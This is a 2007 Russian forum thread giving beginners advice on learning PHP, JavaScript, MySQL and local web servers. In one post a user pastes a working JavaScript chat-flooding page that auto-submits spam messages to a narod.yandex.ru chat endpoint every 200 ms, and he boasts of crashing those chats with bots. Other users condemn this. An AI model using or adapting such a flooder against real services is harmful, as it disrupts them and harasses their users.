forum.boolean.name

forum.boolean.name (http://forum.boolean.name/index.php)
-   Болтовня (http://forum.boolean.name/forumdisplay.php?f=25)
-   -   PHP - с чего начать? (http://forum.boolean.name/showthread.php?t=5043)

Tadeus 16.11.2007 20:56

Re: PHP - с чего начать?
 
JavaScript - клиентский язык, то есть годится тупо для взаимодействия на стороне с клиентом. То бишь тырить файлы и форматировать диск :-)

шЮтка :lol:

magpro 16.11.2007 22:27

Re: PHP - с чего начать?
 
Если человек талковый то можно без знания явыскрипт.

Так как пхп и ява не очень схожи.

ПХП больше напоминает по синтаксису с++
Книжку просто почитай ПХП для начало не очень дурная вещь.

haedim 16.11.2007 23:03

Re: PHP - с чего начать?
 
Не скажу, что PHP очень сложный.


Кстати,для тех, кто восхищается Rails, но не хочет переходить на Ruby, есть Akelos, порт Rails для PHP 4 и 5. Всем очень рекомендую.

DRAG 16.11.2007 23:23

Re: PHP - с чего начать?
 
Цитата:

Не скажу, что PHP очень сложный
Ето точно. И кстати за мускул, jimon правельно сказал что
мона обойтись текстовой базой, ведъ мускул ламают еври дей :) sql-инъекция. ИМХО лучше перед изучением баз реально свою намутить (текстовую),
а потом и мускул штудировать( всё надо в своей жизни попробовать :)).

magpro 16.11.2007 23:59

Re: PHP - с чего начать?
 
Хороший учебник по ПХП для начинающих и не только=)

http://www.softtime.ru/info/bookphp....wn=bookphp.zip

Bagration 17.11.2007 01:35

Re: PHP - с чего начать?
 
Мдя... Я даже не знаю что думать... Вообщем подучусь неделю-месяц, если чтото толковое выйдет, продолжу.
magpro, спасибо за ссылку. буду читать

sash13 17.11.2007 01:45

Re: PHP - с чего начать?
 
http://visavi.net тут палазь очь много умных людей в форуме сидит ///http://visavi.net/pages/anketa.php?uz=sash13& мой там афторитет

Crystal 17.11.2007 10:16

Re: PHP - с чего начать?
 
Цитата:

Blitzerg
1)
Apache,PHP,Perl и тд ето все разные пакеты
то что php,perl предоставляют плагины для апача ето другая история

как запустить php скрипт без apache ?
да легко, go to http://www.php.net/
качаем бинарник

пишем какой нить example.php и в нем
Код:
<?phpecho "my mega example";exit();?>


запускаем его php.exe example.php
и в консоли будем видеть "my mega example"

2) а ты знаешь что такое java script и для чего он был придуман ?
в чем его главное отличие от php и perl ?
зачем его вообще приманяют ?
имхо не знаеш :)

3) портал с текстовой базой данных - еще как представляю :-)
не умея писать, представлять тем более не умеешь ...
1):
их как плагины на апаче везде и используют

2):
яваскрипт работает в хтмл по сути язык повышающий возможности хтмл,
создаёт динамичность в страницах.
Хош сказать я в яваскрипте ничего не рублю?
Да я писал на нём года 3-4 назад.
Вот те мой код:

Цитата:

<html>
<head>
<title>Атомный Моритель</title>
</head>
<body bgcolor="aqua" background="Radiation.jpg">
<center><P STYLE="filter:Glow(Strength='8', Color='#00FF00'); width: 1000; height: 68; font-size: 66pt; font-weight: bold; text-align: center; color: DarkGreen;"> Атомный Моритель </P></center>
<form action="http://chat.narod.yandex.ru/cgi-bin/GetCom" name="atomflood" method="get" target="messaga">

<table border="3" align="center">
<tr>
<td align="center">
<input type="hidden" name="wrapper" value="1" width="500">
</td>
<td align="center">
<b></b> <input type="text" name="data" value="" size="52"><br><b><font size=4>Текст</font></b><br><input name=fraza value='' size="52">
<td align="center">
<b><font size=4>userid</font></b> <input type="text" name="userid" value="" size="30">
</td>
<td align="center">
<b><font size=4>chatid</font></b> <input type="text" name="chatid" value="" size="20">
</td>
<td align="center">
<b><font size=4>не трогать</font></b> <input type="password" name="command" value="2" size="10">
</td>
</tr>
</table>
</form>
<iframe name="messaga" width=0% height=0% frameborder=0 scrolling="no"></iframe>
</td></tr>
<table border="3" align="center">
<tr>
<td><P STYLE="filter:Glow(Strength='3', Color='#00FF00'); width: 200; height: 28; font-size: 16pt; font-weight: bold; text-align: center; color: DarkGreen;"> Автор :: Crystal </P></td>
</tr>
</table>
</BODY>
</html>
<script Language="JavaScript">
function atom()

{
q--;

w++;

e++;

r--;
if(v==0){
m=a+q+s+z+a+w+s+a+n+s+a+e+s+z+a+r+s;
n=document.atomflood.fraza.value;
this.document.atomflood.data.value=m;
this.atomflood.submit();
}
}

setInterval ("atom()", 200);
var time=0;
var q=1000;
var w=0;
var e=0;
var r=1000;
var z="FLOOD";
var n;
var m;
var v=0;
var a="-[";
var s="]-";
</script>
Вот благадаря таким программам я вооружил армию чатиров,
год или полтора мы убивали чаты народ ру.
А вот когда я выпустил скрипт "Пи**атрон 3000", лежали все их чаты.
Админы были в шоке что на их чатах онлайн 3000 ботов, сервер выбивало нафиг,
вылетали все вместе с админами ))

3):
угу представляй дальше...
ЫМХЁ - годится только для гостевых книг.

Не умея писать? А только вы товарищ джимон всё умеете да?
А все кругом идиоты?
Писал также 3-4 года назад гостевуху на пхп.
Также совершал попытку написать чат,
но не доделал, надоело.


Цитата:

JavaScript - клиентский язык, то есть годится тупо для взаимодействия на стороне с клиентом. То бишь тырить файлы и форматировать диск
Восновном на яваскрипте менюшки для сайтов пишут.
Но и умудряются писать чаты, и даже форум видел.
Это впринципи удобно, нагрузки на сервер нет,
скрипты работаю в браузерах посетителей ресурсов.
Можно и эксплоит написать...

Nord 17.11.2007 12:50

Re: PHP - с чего начать?
 
Цитата:

Есть ли у кого книги для начинающих?
Учебник, что дал magpro, считаю одним из лучших, также рекомендую почитать PHP: Полезные приемы
Цитата:

И вообще какое ваше мнение об этом языке? Трудный ли он?
Хороший язык. Трудность в изучении зависит от твоего опыта, если ты программировал на Си, то PHP изучить тебе не составит особого труда, если же нет, то придется повозиться.

HTML знать крайне желательно, т.к. если ты будешь делать движок для сайта, тебе же надо будет как-то делать панель администрирования, передавать информацию через формы и.т.д.

Файлы или СУБД: лично я приверженец реляционных БД, а не файлов, но выбирать надо в зависимости от поставленной задачи и масштабов проекта. MySQL - очень простая система, не думаю, что ты потратишь на её изучение много времени.

А Java-script, я считаю, знать вовсе не обязательно. PHP-программисты используют его только в крайних случаях, когда другими средствами не обойтись, это как никак уже совсем другой язык и отношение к PHP он никакого не имеет. Яркий пример применения js - отражение аватаров на этом форуме. Не целесообразно создавать картинки отражения на стороне сервера, а затем передавать их клиенту, гораздо лучше, если эти картинки будет генерировать машина пользователя. Хотя, конечно, всё это является визуальным оформлением, по этому, возможно это уже работа верстальщика, а не PHP-программиста.

Цитата:

Сообщение от Blitzerg
Вот благадаря таким программам я вооружил армию чатиров,
год или полтора мы убивали чаты народ ру.

Так говоришь, будто гордишься этим, а гордиться ведь тут, имхо, нечем...

DRAG 17.11.2007 14:58

Re: PHP - с чего начать?
 
Blitzerg
Я не пойму тебя ? В чём прикол спорить кто дольше кодил, круче и т.п.?
Лучше бы (как делают умные люди) помогали друг другу :)
А понты не к чему не приведут !
Если хош попонтоваться, иди на forum.vingrad.ru :D

Bagration 17.11.2007 15:34

Re: PHP - с чего начать?
 
Цитата:

Сообщение от Blitzerg
1):
Вот благадаря таким программам я вооружил армию чатиров,
год или полтора мы убивали чаты народ ру.
А вот когда я выпустил скрипт "Пи**атрон 3000", лежали все их чаты.
Админы были в шоке что на их чатах онлайн 3000 ботов, сервер выбивало нафиг,
вылетали все вместе с админами ))

Мдя, не вижу тут повода для гордости. Чего тут хорошего? То что ты мешал людям общатьсо? >>:( Писать вири и вредоносные программы -это... просто слов нет... :shit:

Tadeus 17.11.2007 16:39

Re: PHP - с чего начать?
 
Кстати, хотел всегда найти пример ЧИСТО JavaScript чатика ;) Так что плиз сцылко в студию

ЗЫЖ Приведенный код не очень-то и сложен :)

devolonter 18.11.2007 00:39

Re: PHP - с чего начать?
 
Цитата:

Сообщение от DRAG
jimon правельно сказал что
мона обойтись текстовой базой, ведъ мускул ламают еври дей :) sql-инъекция. ИМХО лучше перед изучением баз реально свою намутить (текстовую),
а потом и мускул штудировать( всё надо в своей жизни попробовать :)).

Угу... тока текстовую базу прочитать как два пальца об асфальт(1) Скорость работы в разы ниже(2) Проблем с написанием мега портала будет еще та куча(3) Ну и в четвертых... Человеку сложно переучиваться поэтому надо сразу писать как положено... А sql инъекция... зависит от твоего же скрипта и mysql тут ни в чем не виноват :)
Дальше по вопросам... Из серверов рекомендую Денвер имхо самый простой... И начинать нужно именно с сервера т.к. с помощью пхп екзе сайт не протестишь... Как устанавливать все подробно на сайте написано написано
JavaScript можно но не обязательно... Хотя если хочешь применять технологию ajax(обновление данных страницы без ее перезагрузки) без него не обойтись
HTML обязон! Но можно учить параллельно с php или воспользоваться редактором например dreamweiver. Плюс желательно узнать что такое css и с чем его едят...
С чего начинать... Я начинал с примеров :) А их до фига в инете...
Итог: когда то я выучил пхп не имея представления о c++ css javascript и даже mysql.. Да и HTML я знал только о том что там есть table :) начал я со странички нашей группы... ушло у меня на это все около месяца... Сейчас я работаю в веб студии пхп программистом... Все приходит с опытом... Читай, долби, ищи Вобщем млин все в твоих руках... Если надо могу скинуть неплохой учебник по пхп стучись в асю ;) Ну и желаю удачи!!!

DRAG 18.11.2007 02:37

Re: PHP - с чего начать?
 
Я щас кстати делаю гостевуху на PHP для сайта.
Делаю в первый раз :), вроде норм получается, и не очень сложно
(можно и так сказать:)). Осталось совсем немного.
php нормальная весч, но вот потом мускул учить, стоит ли?
Хотя если подумать.. где требуются программеры на пхп,
то там нады знать мускул :(
Касати, есть же есчё и оракл, тоже вроде БД.
Только чем она отлечается от MySql ?

Crystal 18.11.2007 09:15

Re: PHP - с чего начать?
 
Да денвер канешно простой,
но имхо лучше сразу апач ставить и привыкать к нему,
ибо большая часть используемых веб серверов в нете именно апач.


Часовой пояс GMT +4, время: 02:08.

vBulletin® Version 3.6.5.
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Перевод: zCarot